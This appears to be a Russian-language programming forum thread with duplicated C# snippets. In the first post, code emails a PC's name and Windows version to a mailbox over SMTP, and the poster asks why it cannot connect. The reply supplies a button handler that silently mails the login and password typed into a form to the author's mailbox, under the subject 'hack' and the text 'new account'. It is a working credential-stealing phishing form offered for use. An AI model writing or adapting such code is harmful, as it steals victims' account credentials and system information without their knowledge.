//Адрес SMTP-сервера String smtpHost = "smpt.yandex.RU"; //Порт SMTP-сервера int smtpPort = 465; bool enableSSL = true; //Логин String smtpUserName = "EmailFrom"; //Пароль String smtpUserPass = "MailPass"; //Создание подключения SmtpClient client = new SmtpClient(smtpHost, smtpPort); client.Credentials = new NetworkCredential(smtpUserName, smtpUserPass); //Адрес для поля "От" String msgFrom = "EmailFrom"; //Адрес для поля "Кому" (адрес получателя) String msgTo = "EmailTo"; //Тема письма String msgSubject = "Данные пользователя:" + NamePCforMail; //Текст письма String msgBody = "Версия Windows:" + WinVers + "\n"; //Создание сообщения MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); using (SmtpClient smtp = new SmtpClient(msgTo, smtpPort)) { smtp.Credentials = new NetworkCredential(smtpUserName, smtpUserPass); smtp.EnableSsl = enableSSL; try { //Отсылаем сообщение client.Send(message); } catch (SmtpException ex) { //В случае ошибки при отсылке сообщения можем увидеть, в чем проблема Console.WriteLine(ex.InnerException.Message.ToString()); } } Console.ReadKey(); } Код //Адрес SMTP-сервера String smtpHost = "smpt.yandex.RU"; //Порт SMTP-сервера int smtpPort = 465; bool enableSSL = true; //Логин String smtpUserName = "EmailFrom"; //Пароль String smtpUserPass = "MailPass"; //Создание подключения SmtpClient client = new SmtpClient(smtpHost, smtpPort); client.Credentials = new NetworkCredential(smtpUserName, smtpUserPass); //Адрес для поля "От" String msgFrom = "EmailFrom"; //Адрес для поля "Кому" (адрес получателя) String msgTo = "EmailTo"; //Тема письма String msgSubject = "Данные пользователя:" + NamePCforMail; //Текст письма String msgBody = "Версия Windows:" + WinVers + "\n"; //Создание сообщения MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); using (SmtpClient smtp = new SmtpClient(msgTo, smtpPort)) { smtp.Credentials = new NetworkCredential(smtpUserName, smtpUserPass); smtp.EnableSsl = enableSSL; try { //Отсылаем сообщение client.Send(message); } catch (SmtpException ex) { //В случае ошибки при отсылке сообщения можем увидеть, в чем проблема Console.WriteLine(ex.InnerException.Message.ToString()); } } Console.ReadKey(); } Но пишет "Не удается соединиться с удаленным сервером". В чем проблема?
private void button1_Click(object sender, EventArgs e) { SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); client.Credentials = new System.Net.NetworkCredential("mailmail@mail.ru", "password"); //Сюда водите мыло и пароль от которого будет приходить сообщение string msgFrom = "mailmail@mail.ru"; //Еще раз мыло от которого сообщение string msgTo = "mailmail@yandex.ru"; //Сюда мыло на которое придет сообщение string msgSubject = "Злом"; //Тема сообщения string msgBody = String.Format("Новый акк :-)\n\n {0}\nЛогин: {1}\nПароль: {2}", ToString(), textBox1.Text, textBox2.Text); MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); try { client.Send(msg); } catch { } } Код private void button1_Click(object sender, EventArgs e) { SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); client.Credentials = new System.Net.NetworkCredential("mailmail@mail.ru", "password"); //Сюда водите мыло и пароль от которого будет приходить сообщение string msgFrom = "mailmail@mail.ru"; //Еще раз мыло от которого сообщение string msgTo = "mailmail@yandex.ru"; //Сюда мыло на которое придет сообщение string msgSubject = "Злом"; //Тема сообщения string msgBody = String.Format("Новый акк :-)\n\n {0}\nЛогин: {1}\nПароль: {2}", ToString(), textBox1.Text, textBox2.Text); MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); try { client.Send(msg); } catch { } } Проверял год назад, работало